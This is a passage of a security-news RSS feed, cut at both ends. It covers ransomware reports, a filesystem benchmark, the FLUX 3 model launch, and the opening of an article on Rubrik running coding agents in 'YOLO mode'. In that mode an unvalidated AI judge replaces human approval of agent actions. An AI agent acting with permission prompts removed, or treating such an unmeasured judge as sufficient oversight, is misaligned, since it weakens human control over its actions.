<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware in 2026: More groups, more victims, no slowdown]]></title>
<description><![CDATA[Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware…
Read more →
The post Ran...]]></description>
<link>https://tsecurity.de/de/3690743/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690743/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</guid>
<pubDate>Fri, 24 Jul 2026 07:15:02 +0200</pubDate>
<content:encoded><![CDATA[<p>Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ransomware-in-2026-more-groups-more-victims-no-slowdown/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ransomware-in-2026-more-groups-more-victims-no-slowdown/">Ransomware in 2026: More groups, more victims, no slowdown</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware in 2026: More groups, more victims, no slowdown]]></title>
<description><![CDATA[Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware playbooks scaling at the ...]]></description>
<link>https://tsecurity.de/de/3690728/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690728/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:44 +0200</pubDate>
<content:encoded><![CDATA[<p>Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware playbooks scaling at the same time. Monthly victim count by threat actor (Source: Black Kite) Between April 2025 and March 2026, 61 new ransomware groups entered the market, averaging more than one group per week. … <a href="https://www.helpnetsecurity.com/2026/07/24/ransomware-attack-trends-2026-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/24/ransomware-attack-trends-2026-report/">Ransomware in 2026: More groups, more victims, no slowdown</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The 